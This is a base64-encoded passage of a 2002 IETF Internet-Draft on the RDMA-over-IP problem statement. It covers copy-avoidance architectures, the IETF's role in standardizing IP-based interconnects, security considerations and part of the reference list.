ZSBvcHRpbWl6YXRpb25zIG11c3QgYmUNCiAgICAgcmUtY3JhZnRlZCBbQ2g5Nl0uDQoNCiAg ICAgQSBudW1iZXIgb2YgcmVzZWFyY2ggcHJvamVjdHMgYW5kIGluZHVzdHJ5IHByb2R1Y3Rz IGhhdmUgYmVlbiBiYXNlZA0KICAgICBvbiB0aGUgbWVtb3J5LXRvLW1lbW9yeSBhcHByb2Fj aCB0byBjb3B5IGF2b2lkYW5jZS4gVGhlc2UgaW5jbHVkZQ0KICAgICBVLU5ldCBbRUJCVjk1 XSwgU0hSSU1QIFtCTEErOTRdLCBIYW1seW4gW0JKTSs5Nl0sIEluZmluaWJhbmQgW0lCXSwN CiAgICAgV2luc29jayBEaXJlY3QgW1BpMDFdLiBTZXZlcmFsIG1lbW9yeS10by1tZW1vcnkg c3lzdGVtcyBoYXZlIGJlZW4NCiAgICAgd2lkZWx5IHVzZWQgYW5kIGhhdmUgZ2VuZXJhbGx5 IGJlZW4gZm91bmQgdG8gYmUgcm9idXN0LCB0byBoYXZlDQogICAgIGdvb2QgcGVyZm9ybWFu Y2UsIGFuZCB0byBiZSByZWxhdGl2ZWx5IHNpbXBsZSB0byBpbXBsZW1lbnQuIFRoZXNlDQog ICAgIGluY2x1ZGUgVkkgW1ZJXSwgTXlyaW5ldCBbQkNGKzk1XSwgUXVhZHJpeCBbUVVBRF0s IENvbXBhcS9UYW5kZW0NCiAgICAgU2VydmVybmV0IFtTUlZORVRdLiAgTmV0d29ya3MgYmFz ZWQgb24gdGhlc2UgbWVtb3J5LXRvLW1lbW9yeQ0KICAgICBhcmNoaXRlY3R1cmVzIGhhdmUg YmVlbiB1c2VkIHdpZGVseSBpbiBzY2llbnRpZmljIGFwcGxpY2F0aW9ucyBhbmQNCiAgICAg aW4gZGF0YSBjZW50ZXJzIGZvciBibG9jayBzdG9yYWdlLCBmaWxlIHN5c3RlbSBhY2Nlc3Ms IGFuZA0KICAgICB0cmFuc2FjdGlvbiBwcm9jZXNzaW5nLg0KDQogICAgIEJ5IGV4cG9ydGlu ZyBkaXJlY3QgbWVtb3J5IGFjY2VzcyAiYWNyb3NzIHRoZSB3aXJlIiwgYXBwbGljYXRpb25z DQogICAgIG1heSBkaXJlY3QgdGhlIG5ldHdvcmsgc3RhY2sgdG8gbWFuYWdlIGFsbCBkYXRh IGRpcmVjdGx5IGZyb20NCiAgICAgYXBwbGljYXRpb24gYnVmZmVycy4gQSBsYXJnZSBhbmQg Z3Jvd2luZyBjbGFzcyBvZiBhcHBsaWNhdGlvbnMgaGFzDQoNCg0KDQpSb21hbm93LCBldCBh bCAgICAgICAgICAgRXhwaXJlcyBTZXB0ZW1iZXIgMjAwMiAgICAgICAgICAgICAgICBbUGFn ZSAxMF0NCgwNCkludGVybmV0LURyYWZ0ICAgICAgIFJETUEgb3ZlciBJUCBQcm9ibGVtIFN0 YXRlbWVudCAgICAgICAgICAyMSBGZWIgMjAwMg0KDQoNCiAgICAgYWxyZWFkeSBlbWVyZ2Vk IHdoaWNoIHRha2VzIGFkdmFudGFnZSBvZiBzdWNoIGNhcGFiaWxpdGllcywNCiAgICAgaW5j bHVkaW5nIGFsbCB0aGUgbWFqb3IgZGF0YWJhc2VzLCBhcyB3ZWxsIGFzIGZpbGUgc3lzdGVt cyBzdWNoIGFzDQogICAgIERBRlMgW0RBRlN9IGFuZCBuZXR3b3JrIHByb3RvY29scyBzdWNo IGFzIFNvY2tldHMgRGlyZWN0IFtTRF0uDQoNCjYuICBXaHkgdGhpcyBwcm9ibGVtIGlzIHJl bGV2YW50IGZvciB0aGUgSUVURg0KDQogICAgIFRoZXJlIGFyZSBzZXZlcmFsIHJlYXNvbnMg d2h5IHRoaXMgaXMgaXNzdWUgaXMgcmVsZXZhbnQgZm9yIHRoZQ0KICAgICBJRVRGLiBJbnRl cm9wZXJhYmlsaXR5IGlzIG9uZSByZWFzb24sIGFuZCB0aGUgb3RoZXJzIGludm9sdmUgdGhl DQogICAgIGNvbnZlcmdlbmNlIG9mIGludGVyY29ubmVjdGlvbiBuZXR3b3JrIGFuZCBXQU4u DQoNCiAgICAgTW9zdCBpbnRlcmNvbm5lY3Rpb24gdGVjaG5vbG9neSBoYXMgYmVlbiBwcm9w cmlldGFyeSwgZXZlbiB3aGVuDQogICAgIGRldmVsb3BlZCBieSBtdWx0aXBsZSB2ZW5kb3Jz LiBUaGVyZSBoYXZlIGJlZW4gaW50ZXJvcGVyYWJpbGl0eQ0KICAgICBwcm9ibGVtcyBldmVu IHdpdGggc3RhbmRhcmRzIHN1Y2ggYXMgU0NTSSBhbmQgUENJLiBBbiBJUCBhcHByb2FjaA0K ICAgICBkZXZlbG9wZWQgaW4gdGhlIElFVEYgd291bGQgYWxsb3cgYSBoZXRlcm9nZW5lb3Vz IHVuZGVybHlpbmcgZmFicmljDQogICAgIHRvIGJlIHRpZWQgdG9nZXRoZXIgYnkgYSBzaW5n bGUgSVAgbmV0d29ya2luZyB0ZWNobm9sb2d5LiBUaGlzDQogICAgIHdvdWxkIGFsbG93IGZv ciBtdWx0aXBsZSB2ZW5kb3Igc3lzdGVtcywgdW5kZXJseWluZyBoYXJkd2FyZQ0KICAgICBp bnRlcmNvbm5lY3Rpb24gZmFicmljcyB0aGF0IGNvdWxkIGNoYW5nZSBvdmVyIHRpbWUgYW5k IHJlbWFpbg0KICAgICBpbnRlcm9wZXJhYmxlLCBhbmQgZm9yIGludGVyb3BlcmF0aW9uIG92 ZXIgbXVsdGlwbGUgaGFyZHdhcmUNCiAgICAgdGVjaG5vbG9naWVzLCBzdWNoIGFzIDEgYW5k IDEwIEdiaXRzL3MgRXRoZXJuZXQuDQoNCiAgICAgVHJhZGl0aW9uYWxseSBpbnRlcmNvbm5l Y3Rpb24gdGVjaG5vbG9neSBoYXMgYmVlbiBkZXZlbG9wZWQgaW4gYW4NCiAgICAgZWxlY3Ry aWNhbCBlbmdpbmVlcmluZyBkb21haW4sIGFuZCBuZXR3b3JraW5nIHRlY2hub2xvZ3kgaGFz IGJlZW4NCiAgICAgZGV2ZWxvcGVkIGluIHRoZSBJRVRGLiAgVGhlc2UgZG9tYWlucyBhcmUg bm93IGNvbnZlcmdpbmcsIGFzDQogICAgIGhhcmR3YXJlIGRlc2lnbmVycyBpbmNyZWFzaW5n bHkgYWRvcHQgbmV0d29ya2luZy1iYXNlZCBhcHByb2FjaGVzLA0KICAgICBhbmQgaW4gcGFy dGljdWxhciBhcmUgYnVpbGRpbmcgSVAtYmFzZWQgc3lzdGVtcy4gU2luY2UgdGhlIElFVEYN CiAgICAgcmVwcmVzZW50cyB0aGUgYmVzdCBuZXR3b3JraW5nIGV4cGVydGlzZSwgaXQgaXMg ZGVzaXJhYmxlIHRvIGhhdmUNCiAgICAgaXQgZ3VpZGUgdGhlIHN0YW5kYXJkaXphdGlvbiB3 b3JrLg0KDQogICAgIFRoZSBtb3N0IGNvbXBlbGxpbmcgcmVhc29uIGludGVyY29ubmVjdGlv biBuZXR3b3JrIHRlY2hub2xvZ3kgaXMNCiAgICAgcmVsZXZhbnQgZm9yIHRoZSBJRVRGIGlz IHRoYXQgb3VyIGV4cGVyaWVuY2Ugc3VnZ2VzdHMgdGhhdA0KICAgICBpbmV2aXRhYmx5LCBh bmQgc29vbiwgdGhlcmUgd2lsbCBiZSBhbiBpbnRlcm1peGluZyBiZXR3ZWVuDQogICAgICJp bnRlcmNvbm5lY3QiIG5ldHdvcmtzIGFuZCBXQU4vSW50ZXJuZXQgbmV0d29ya3MuICBBbHRo b3VnaCB0b2RheQ0KICAgICBJUC1iYXNlZCBpbnRlcmNvbm5lY3QgdHJhZmZpYyBpcyBpbiBs b2NhbCBjbHVzdGVycyBhbmQgd2l0aGluIHRoZQ0KICAgICBkYXRhIGNlbnRlciwgaW5ldml0 YWJseSB0aGlzIHRyYWZmaWMgd2lsbCAibGVhayBvdXQiIGFuZCB3aWxsIGJlDQogICAgIHNl ZW4gb3ZlciB0aGUgd2lkZSBhcmVhIG5ldHdvcmssIGluY2x1ZGluZyB0aGUgSW50ZXJuZXQu ICBUaGVyZSBpcw0KICAgICBhbHJlYWR5IHByZXNzdXJlIGZvciBkaXN0cmlidXRlZCBkYXRh IGNlbnRlcnMgaW4gdGhlIG1ldHJvIGRvbWFpbi4NCiAgICAgRGF0YSBjZW50ZXJzIGRpc3Ry aWJ1dGVkIG92ZXIgdGhlIFdBTiB3aWxsIGFkZCB2YWx1ZSwgYW5kIHRoZXJlZm9yZQ0KICAg ICBzb21lb25lIHdpbGwgZG8gaXQuIEl0IHdvdWxkIGJlIGJldHRlciBmb3IgdGhlIGRldmVs b3BtZW50IG9mIHRoZQ0KICAgICBJbnRlcm5ldCBhbmQgZm9yIHRoZSBJRVRGIHRvIGd1aWRl IHRoZSBkZXZlbG9wbWVudCBvZiBJUC1iYXNlZA0KICAgICBpbnRlcmNvbm5lY3Rpb24gdGVj aG5vbG9neSBwcm9wZXJseSB3aGlsZSBpdCBpcyBzdGlsbCBwcmltYXJpbHkgaW4NCiAgICAg dGhlIGxvY2FsIGVudmlyb25tZW50LCByYXRoZXIgdGhhbiBoYXZpbmcgdG8gZGVhbCB3aXRo IHRoZQ0KICAgICB0ZWNobm9sb2d5IGxhdGVyIGFzIGl0IGVtZXJnZXMgb250byB0aGUgSW50 ZXJuZXQuDQoNCiAgICAgVW5mb3J0dW5hdGVseSBpZiB0aGUgSUVURiBkb2VzIG5vdCBiZWNv bWUgaW52b2x2ZWQgaW4gZW5naW5lZXJpbmcNCiAgICAgYW4gSVAgc3RhbmRhcmQsIGl0IHdp bGwgbm90IHByZXZlbnQgc3VjaCBhIHNldCBvZiBwcm90b2NvbHMgZnJvbQ0KICAgICBiZWlu ZyBkZXZlbG9wZWQsIG9ubHkgdW5mb3J0dW5hdGVseSB0aGUgYXBwcm9wcmlhdGUgSUVURiBu ZXR3b3JraW5nDQogICAgIGV4cGVydGlzZSB3aWxsIG5vdCBiZW5lZml0IHRoZW0uDQoNCg0K DQoNClJvbWFub3csIGV0IGFsICAgICAgICAgICBFeHBpcmVzIFNlcHRlbWJlciAyMDAyICAg ICAgICAgICAgICAgIFtQYWdlIDExXQ0KDA0KSW50ZXJuZXQtRHJhZnQgICAgICAgUkRNQSBv dmVyIElQIFByb2JsZW0gU3RhdGVtZW50ICAgICAgICAgIDIxIEZlYiAyMDAyDQoNCg0KNy4g IFNlY3VyaXR5IENvbnNpZGVyYXRpb25zDQoNCiAgICAgVGhlIHByb2JsZW0gb2YgcmVkdWNp bmcgY29weWluZyBvdmVyaGVhZCBpbiBoaWdoIGJhbmR3aWR0aA0KICAgICB0cmFuc2ZlcnMg dmlhIG9uZSBvciBtb3JlIHByb3RvY29scyBkb2VzIG5vdCBzdWdnZXN0IGFueSBuZXcNCiAg ICAgc2VjdXJpdHkgY29uY2VybnMuIEFzIGEgbGF5ZXIgcHJvcGVybHkgYXRvcCBJbnRlcm5l dCB0cmFuc3BvcnQNCiAgICAgcHJvdG9jb2xzLCB0aGUgcHJvdG9jb2wocykgd2lsbCBnYWlu IGxldmVyYWdlIGZyb20gSVBTZWMgYW5kIG90aGVyDQogICAgIEludGVybmV0IHNlY3VyaXR5 IHN0YW5kYXJkcy4gV2hlbiBhIHNvbHV0aW9uIGlzIHByb3Bvc2VkLCBzZWN1cml0eQ0KICAg ICB3aWxsIGJlIGFkZHJlc3NlZCBpbiBkZXRhaWwgZm9yIHRoYXQgcGFydGljdWxhciBzb2x1 dGlvbi4NCg0KICAgICBUaGUgaW1tZWRpYXRlIHRhcmdldCBzeXN0ZW1zIGFyZSBsb2NhbCwg d2hlcmUgdHJhZGl0aW9uYWxseQ0KICAgICBzZWN1cml0eSBoYXMgYmVlbiBtb3JlIHRyZWF0 ZWQgaW4gYSBtb3JlIHJlbGF4ZWQgZmFzaGlvbi4gSG93ZXZlciwNCiAgICAgdGhlIGZhY3Qg dGhhdCBhbG1vc3QgY2VydGFpbmx5IGhpZ2ggc3BlZWQgaW50ZXJjb25uZWN0cyB3aWxsIHJ1 bg0KICAgICBvdmVyIHRoZSBJbnRlcm5ldCwgbWFrZXMgaXQgZXNwZWNpYWxseSBpbXBvcnRh bnQgdG8gZ2V0IHNlY3VyaXR5DQogICAgIHJpZ2h0IGZyb20gdGhlIG91dHNldC4gVGhpcyBp cyBhbm90aGVyIGdvb2QgcmVhc29uIGZvciB0aGUgSUVURiB0bw0KICAgICBndWlkZSB0aGUg c3RhbmRhcmRpemF0aW9uLg0KDQo4LiAgQWNrbm93bGVkZ2VtZW50cw0KDQogICAgIEplZmYg Q2hhc2UgZ2VuZXJvdXNseSBwcm92aWRlZCBtYW55IHVzZWZ1bCBpbnNpZ2h0cyBpbmZvcm1h dGlvbi4NCg0KOS4gIFJlZmVyZW5jZXMNCg0KICAgICBbQkNGKzk1XQ0KICAgICAgICAgIE4u IEouIEJvZGVuLCBELiBDb2hlbiwgUi4gRS4gRmVsZGVybWFuLCBBLiBFLiBLdWxhd2lrLCBD LiBMLg0KICAgICAgICAgIFNlaXR6LCBKLiBOLiBTZWl6b3ZpYywgYW5kIFcuIFN1LiAiTXly aW5ldCAtIEEgZ2lnYWJpdC1wZXItDQogICAgICAgICAgc2Vjb25kIGxvY2FsLWFyZWEgbmV0 d29yayIsIElFRUUgTWljcm8sIEZlYnJ1YXJ5IDE5OTUNCg0KICAgICBbQkpNKzk2XQ0KICAg ICAgICAgIEcuIEJ1enphcmQsIEQuIEphY29ic29uLCBNLiBNYWNrZXksIFMuIE1hcm92aWNo LCBKLiBXaWxrZXMsDQogICAgICAgICAgIkFuIGltcGxlbWVudGF0aW9uIG9mIHRoZSBIYW1s eW4gc2VuZC1tYW5hZ2VkIGludGVyZmFjZQ0KICAgICAgICAgIGFyY2hpdGVjdHVyZSIsIGlu IFByb2NlZWRpbmdzIG9mIHRoZSBTZWNvbmQgU3ltcG9zaXVtIG9uDQogICAgICAgICAgT3Bl cmF0aW5nIFN5c3RlbXMgRGVzaWduIGFuZCBJbXBsZW1lbnRhdGlvbiwgVVNFTklYIEFzc29j LiwNCiAgICAgICAgICBPY3QuIDE5OTYNCg0KICAgICBbQkxBKzk0XQ0KICAgICAgICAgIE0u IEEuIEJsdW1yaWNoLCBLLiBMaSwgUi4gQWxwZXJ0LCBDLiBEdWJuaWNraSwgRS4gVy4gRmVs dGVuLA0KICAgICAgICAgICJBIHZpcnR1YWwgbWVtb3J5IG1hcHBlZCBuZXR3b3JrIGludGVy ZmFjZSBmb3IgdGhlIFNIUklNUA0KICAgICAgICAgIG11bHRpY29tcHV0ZXIiLCBpbiBQcm9j ZWVkaW5ncyBvZiB0aGUgMjFzdCBBbm51YWwgU3ltcG9zaXVtIG9uDQogICAgICAgICAgQ29t cHV0ZXIgQXJjaGl0ZWN0dXJlLCBBcHJpbCAxOTk0LCBwcC4gMTQyLTE1Mw0KDQogICAgIFtC cjk5XQ0KICAgICAgICAgIEouIEMuIEJydXN0b2xvbmksICJJbnRlcm9wZXJhdGlvbiBvZiBj b3B5IGF2b2lkYW5jZSBpbiBuZXR3b3JrDQogICAgICAgICAgYW5kIGZpbGUgSS9PIiwgUHJv Y2VlZGluZ3Mgb2YgSUVFRSBJbmZvY29tLCAxOTk5LCBwcC4gNTM0LTU0Mg0KDQogICAgIFtC Uzk2XQ0KICAgICAgICAgIEouIEMuIEJydXN0b2xvbmksIFAuIFN0ZWVua2lzdGUsICJFZmZl Y3RzIG9mIGJ1ZmZlcmluZw0KICAgICAgICAgIHNlbWFudGljcyBvbiBJL08gcGVyZm9ybWFu Y2UiLCBQcm9jZWVkaW5ncyBPU0RJJzk2LCBVU0VOSVgsDQogICAgICAgICAgU2VhdHRsZSwg V0EgT2N0LiAxOTk2LCBwcC4gMjc3LTI5MQ0KDQoNCg0KUm9tYW5vdywgZXQgYWwgICAgICAg ICAgIEV4cGlyZXMgU2VwdGVtYmVyIDIwMDIgICAgICAgICAgICAgICAgW1BhZ2UgMTJdDQoM DQpJbnRlcm5ldC1EcmFmdCAgICAgICBSRE1BIG92ZXIgSVAgUHJvYmxlbSBTdGF0ZW1lbnQg ICAgICAgICAgMjEgRmViIDIwMDINCg0KDQogICAgIFtDRkYrOTRdDQogICAgICAgICAgQy1I IENoYW5nLCBELiBGbG93ZXIsIEouIEZvcmVjYXN0LCBILiBHcmF5LCBCLiBIYXdlLCBBLg0K ICAgICAgICAgIE5hZGthcm5pLCBLLiBLLiBSYW1ha3Jpc2huYW4sIFUuIFNoaWthcnB1ciwg Sy4gV2lsZGUsICJIaWdoLQ0KICAgICAgICAgIHBlcmZvcm1hbmNlIFRDUC9JUCBhbmQgVURQ L0lQIG5ldHdvcmtpbmcgaW4gREVDIE9TRi8xIGZvcg0KICAgICAgICAgIEFscGhhIEFYUCIs ICBQcm9jZWVkaW5ncyBvZiB0aGUgM3JkIElFRUUgU3ltcG9zaXVtIG9uIEhpZ2gNCiAgICAg ICAgICBQZXJmb3JtYW5jZSBEaXN0cmlidXRlZCBDb21wdXRpbmcsIEF1Z3VzdCAxOTk0LCBw cC4gMzYtNDINCg0KICAgICBbQ0dZMDFdDQogICAgICAgICAgSi4gUy4gQ2hhc2UsIEEuIEou IEdhbGxhdGluLCBhbmQgSy4gRy4gWW9jdW0sICJFbmQgc3lzdGVtDQogICAgICAgICAgb3B0 aW1pemF0aW9ucyBmb3IgaGlnaC1zcGVlZCBUQ1AiLCBJRUVFIENvbW11bmljYXRpb25zDQog ICAgICAgICAgTWFnYXppbmUgLCBWb2x1bWU6IDM5LCBJc3N1ZTogNCAsIEFwcmlsIDIwMDEs IHBwIDY4LTc0Lg0KICAgICAgICAgIGh0dHA6Ly93d3cuY3MuZHVrZS5lZHUvYXJpL3B1Ymxp Y2F0aW9ucy9lbmQtc3lzdGVtLntwcyxwZGZ9DQoNCiAgICAgW0NoOTZdDQogICAgICAgICAg SC5LLiBDaHUsICJaZXJvLWNvcHkgVENQIGluIFNvbGFyaXMiLCBQcm9jLiBvZiB0aGUgVVNF TklYIDE5OTYNCiAgICAgICAgICBBbm51YWwgVGVjaG5pY2FsIENvbmZlcmVuY2UsIFNhbiBE aWVnbywgQ0EsIEphbi4gMTk5Ng0KDQogICAgIFtDaDAyXQ0KICAgICAgICAgIEplZmZyZXkg Q2hhc2UsIFBlcnNvbmFsIGNvbW11bmljYXRpb24NCg0KICAgICBbQ0pSUzg5XQ0KICAgICAg ICAgIEQuIEQuIENsYXJrLCBWLiBKYWNvYnNvbiwgSi4gUm9ta2V5LCBILiBTYWx3ZW4sICJB biBhbmFseXNpcw0KICAgICAgICAgIG9mIFRDUCBwcm9jZXNzaW5nIG92ZXJoZWFkIiwgSUVF RSBDb21tdW5pY2F0aW9ucyBNYWdhemluZSwNCiAgICAgICAgICB2b2x1bWU6IDI3LCBJc3N1 ZTogNiwgSnVuZSAxOTg5LCBwcCAyMy0yOQ0KDQogICAgIFtDVDkwXQ0KICAgICAgICAgIEQu IEQuIENsYXJrLCBELiBUZW5uZW5ob3VzZSwgIkFyY2hpdGVjdHVyYWwgY29uc2lkZXJhdGlv bnMgZm9yDQogICAgICAgICAgYSBuZXcgZ2VuZXJhdGlvbiBvZiBwcm90b2NvbHMiLCBQcm9j ZWVkaW5ncyBvZiB0aGUgQUNNIFNJR0NPTU0NCiAgICAgICAgICBDb25mZXJlbmNlLCAxOTkw DQoNCiAgICAgW0RBRlNdDQogICAgICAgICAgRGlyZWN0IEFjY2VzcyBGaWxlIFN5c3RlbSBo dHRwOi8vd3d3LmRhZnNjb2xsYWJvcmF0aXZlLm9yZw0KICAgICAgICAgIGh0dHA6Ly93d3cu aWV0Zi5vcmcvaW50ZXJuZXQtZHJhZnRzL2RyYWZ0LXdpdHRsZS1kYWZzLTAwLnR4dA0KDQog ICAgIFtEQVBQOTNdDQogICAgICAgICAgUC4gRHJ1c2NoZWwsIE0uIEIuIEFiYm90dCwgTS4g QS4gUGFnZWxzLCBMLiBMLiBQZXRlcnNvbiwNCiAgICAgICAgICAiTmV0d29yayBzdWJzeXN0 ZW0gZGVzaWduIiwgSUVFRSBOZXR3b3JrLCBKdWx5IDE5OTMsIHBwLiA4LTE3DQoNCiAgICAg W0RQOTNdDQogICAgICAgICAgUC4gRHJ1c2NoZWwsIEwuIEwuIFBldGVyc29uLCAiRmJ1ZnM6 IGEgaGlnaC1iYW5kd2lkdGggY3Jvc3MtDQogICAgICAgICAgZG9tYWluIHRyYW5zZmVyIGZh Y2lsaXR5IiwgUHJvY2VlZGluZ3Mgb2YgdGhlIDE0dGggQUNNDQogICAgICAgICAgc3ltcG9z aXVtIG9mIE9wZXJhdGluZyBTeXN0ZW1zIFByaW5jaXBsZXMsIERlYy4gMTk5Mw0KDQogICAg IFtFQkJWOTVdDQogICAgICAgICAgVC4gdm9uIEVpY2tlbiwgQS4gQmFzdSwgVi4gQnVjaCwg YW5kIFcuIFZvZ2VscywgIlUtTmV0OiBBDQogICAgICAgICAgdXNlci1sZXZlbCBuZXR3b3Jr IGludGVyZmFjZSBmb3IgcGFyYWxsZWwgYW5kIGRpc3RyaWJ1dGVkDQogICAgICAgICAgY29t cHV0aW5nIiwgUHJvYy4gb2YgdGhlIDE1dGggQUNNIFN5bXBvc2l1bSBvbiBPcGVyYXRpbmcN CiAgICAgICAgICBTeXN0ZW1zIFByaW5jaXBsZXMsIENvcHBlciBNb3VudGFpbiwgQ29sb3Jh ZG8sIERlYy4gMy02LCAxOTk1DQoNCg0KDQpSb21hbm93LCBldCBhbCAgICAgICAgICAgRXhw aXJlcyBTZXB0ZW1iZXIgMjAwMiAgICAgICAgICAgICAgICBbUGFnZSAxM10NCgwNCkludGVy bmV0LURyYWZ0ICAgICAgIFJETUEgb3ZlciBJUCBQcm9ibGVtIFN0YXRlbWVudCAgICAgICAg ICAyMSBGZWIgMjAwMg0KDQoNCiAgICAgW0ZHTSs5OV0NCiAgICAgICAgICBSLiBGaWVsZGlu ZywgSi4gR2V0dHlzLCBKLiBNb2d1bCwgRi4gRnJ5c3R5aywgTC4gTWFzaW50ZXIsIFAuDQog ICAgICAgICAgTGVhY2gsIFQuIEJlcm5lcnMtTGVlLCAiSHlwZXJ0ZXh0IFRyYW5zZmVyIFBy b3RvY29sIC0NCiAgICAgICAgICBIVFRQLzEuMSIsIFJGQyAyNjE2LCBKdW5lIDE5OTkNCg0K ICAgICBbRklCUkVdDQogICAgICAgICAgRmlicmUgQ2hhbm5lbCBTdGFuZGFyZA0KICAgICAg ICAgIGh0dHA6Ly93d3cuZmlicmVjaGFubmVsLmNvbS90ZWNobm9sb2d5L2luZGV4Lm1hc3Rl ci5odG1sDQoNCiAgICAgW0hQOTddDQogICAgICAgICAgSi4gTC4gSGVubmVzc3ksIEQuIEEu IFBhdHRlcnNvbiwgQ29tcHV0ZXIgT3JnYW5pemF0aW9uIGFuZA0KICAgICAgICAgIERlc2ln biwgMm5kIEVkaXRpb24sIFNhbiBGcmFuY2lzY286IE1vcmdhbiBLYXVmbWFubg0KICAgICAg ICAgIFB1Ymxpc2hlcnMsIDE5OTcNCg0KICAgICBbSUJdIEluZmluaUJhbmQgQXJjaGl0ZWN0 dXJlIFNwZWNpZmljYXRpb24sIFZvbHVtZXMgMSBhbmQgMiwNCiAgICAgICAgICBSZWxlYXNl IDEuMC5hLiAgaHR0cDovL3d3dy5pbmZpbmliYW5kdGEub3JnDQoNCiAgICAgW0tQOTZdDQog ICAgICAgICAgSi4gS2F5LCBKLiBQYXNxdWFsZSwgIlByb2ZpbGluZyBhbmQgcmVkdWNpbmcg cHJvY2Vzc2luZw0KICAgICAgICAgIG92ZXJoZWFkcyBpbiBUQ1AvSVAiLCBJRUVFL0FDTSBU cmFuc2FjdGlvbnMgb24gTmV0d29ya2luZywgVm9sDQogICAgICAgICAgNCwgTm8uIDYsIHBw LjgxNy04MjgsIERlYy4gMTk5Ng0KDQogICAgIFtLU1o5NV0NCiAgICAgICAgICBLLiBLbGVp bnBhc3RlLCBQLiBTdGVlbmtpc3RlLCBCLiBaaWxsLCAiU29mdHdhcmUgc3VwcG9ydCBmb3IN CiAgICAgICAgICBvdXRib2FyZCBidWZmZXJpbmcgYW5kIGNoZWNrc3VtbWluZyIsIFNJR0NP TU0nOTUNCg0KICAgICBbTWEwMl0NCiAgICAgICAgICBLLiBNYWdvdXRpcywgIkRlc2lnbiBh bmQgSW1wbGVtZW50YXRpb24gb2YgYSBEaXJlY3QgQWNjZXNzDQogICAgICAgICAgRmlsZSBT eXN0ZW0gKERBRlMpIEtlcm5lbCBTZXJ2ZXIgZm9yIEZyZWVCU0QiLCBpbiBQcm9jZWVkaW5n cw0KICAgICAgICAgIG9mIFVTRU5JWCBCU0RDb24gMjAwMiBDb25mZXJlbmNlLCBTYW4gRnJh bnNjaXNjbywgQ0EsIEZlYnJ1YXJ5DQogICAgICAgICAgMTEtMTQsIDIwMDIuDQoNCiAgICAg W01BRiswMl0NCiAgICAgICAgICBLb3N0YXMgTWFnb3V0aXMsIFNhbGltYWggQWRkZXRpYSwg QWxleGFuZHJhIEZlZG9yb3ZhLCBNYXJnbyBJLg0KICAgICAgICAgIFNlbHR6ZXIsIEplZmZy ZXkgUy4gQ2hhc2UsIERyZXcgR2FsbGF0aW4sIFJpY2hhcmQgS2lzbGV5LA0KICAgICAgICAg IFJhaml2IFdpY2tyZW1lc2luZ2hlLCBFcmFuIEdhYmJlciwgIlN0cnVjdHVyZSBhbmQgUGVy Zm9ybWFuY2UNCiAgICAgICAgICBvZiB0aGUgRGlyZWN0IEFjY2VzcyBGaWxlIFN5c3RlbSAo REFGUykiLCBhY2NlcHRlZCBmb3INCiAgICAgICAgICBwdWJsaWNhdGlvbiBhdCB0aGUgMjAw MiBVU0VOSVggQW5udWFsIFRlY2huaWNhbCBDb25mZXJlbmNlLA0KICAgICAgICAgIE1vbnRl cmV5LCBDQSwgSnVuZSA5LTE0LCAyMDAyLg0KDQogICAgIFtNYzk1XQ0KICAgICAgICAgIEou IEQuIE1jQ2FscGluLCAiQSBTdXJ2ZXkgb2YgbWVtb3J5IGJhbmR3aWR0aCBhbmQgbWFjaGlu ZQ0KICAgICAgICAgIGJhbGFuY2UgaW4gY3VycmVudCBoaWdoIHBlcmZvcm1hbmNlIGNvbXB1 dGVycyIsIElFRUUgVENDQQ0KICAgICAgICAgIE5ld3NsZXR0ZXIsIERlY2VtYmVyIDE5OTUN Cg0KICAgICBbTmUwMF0NCiAgICAgICAgICBBLiBOZXdtYW4sICJJREMgcmVwb3J0IHBhaW50 cyBjb25mbGljdGVkIHBpY3R1cmUgb2Ygc2VydmVyDQogICAgICAgICAgbWFya2V0IGNpcmNh IDIwMDQiLCBTZXJ2ZXJXYXRjaCwgSnVseSAyNCwgMjAwMA0KDQoNCg0KUm9tYW5vdywgZXQg YWwgICAgICAgICAgIEV4cGlyZXMgU2VwdGVtYmVyIDIwMDIgICAgICAgICAgICAgICAgW1Bh Z2UgMTRdDQoMDQpJbnRlcm5ldC1EcmFmdCAgICAgICBSRE1BIG92ZXIgSVAgUHJvYmxlbSBT dGF0ZW1lbnQgICAgICAgICAgMjEgRmViIDIwMDINCg0KDQogICAgICAgICAgaHR0cDovL3Nl cnZlcndhdGNoLmludGVybmV0LmNvbS9uZXdzLzIwMDBfMDdfMjRfYS5odG1sDQoNCiAgICAg W1BhMDFdDQogICAgICAgICAgTS4gUGFzdG9yZSwgIlNlcnZlciBzaGlwbWVudHMgZm9yIDIw MDAgc3VycGFzcyB0aG9zZSBpbiAxOTk5IiwNCiAgICAgICAgICBTZXJ2ZXJXYXRjaCwgRmVi LiA3LCAyMDAxDQogICAgICAgICAgaHR0cDovL3NlcnZlcndhdGNoLmludGVybmV0LmNvbS9u ZXdzLzIwMDFfMDJfMDdfYS5odG1sDQoNCiAgICAgW1BEWjk5XQ0KICAgICAgICAgIFYuIFMu IFBhaSwgUC4gRHJ1c2NoZWwsIFcuIFp3YWVuZXBvZWwsICJJTy1MaXRlOiBhIHVuaWZpZWQg SS9PDQogICAgICAgICAgYnVmZmVyaW5nIGFuZCBjYWNoaW5nIHN5c3RlbSIsIFByb2MuIG9m IHRoZSAzcmQgU3ltcG9zaXVtIG9uDQogICAgICAgICAgT3BlcmF0aW5nIFN5c3RlbXMgRGVz aWduIGFuZCBJbXBsZW1lbnRhdGlvbiwgTmV3IE9ybGVhbnMsIExBLA0KICAgICAgICAgIEZl Yi4gMTk5OQ0KDQogICAgIFtQQUMrOTddDQogICAgICAgICAgRC4gUGF0dGVyc29uLCBULiBB bmRlcnNvbiwgTi4gQ2FyZHdlbGwsIFIuIEZyb21tLCBLLiBLZWV0b24sDQogICAgICAgICAg Qy4gS296eXJha2lzLCBSLiBUaG9tYXMsIEsuIFllbGljayAsICJBIGNhc2UgZm9yIGludGVs bGlnaWVudA0KICAgICAgICAgIFJBTTogSVJBTSIsIElFRUUgTWljcm8sIEFwcmlsIDE5OTcN Cg0KICAgICBbUGkwMV0NCiAgICAgICAgICBKLiBQaW5rZXJ0b24sICJXaW5zb2NrIERpcmVj dDogdGhlIHZhbHVlIG9mIFN5c3RlbSBBcmVhDQogICAgICAgICAgTmV0d29ya3MiLiBodHRw Oi8vd3d3Lm1pY3Jvc29mdC5jb20vd2luZG93czIwMDAvdGVjaGluZm8vDQogICAgICAgICAg aG93aXR3b3Jrcy9jb21tdW5pY2F0aW9ucy93aW5zb2NrLmFzcA0KDQogICAgIFtQbzgxXQ0K ICAgICAgICAgIFBvc3RlbCwgSi4sICJUcmFuc21pc3Npb24gQ29udHJvbCBQcm90b2NvbCAt IERBUlBBIEludGVybmV0DQogICAgICAgICAgUHJvZ3JhbSBQcm90b2NvbCBTcGVjaWZpY2F0 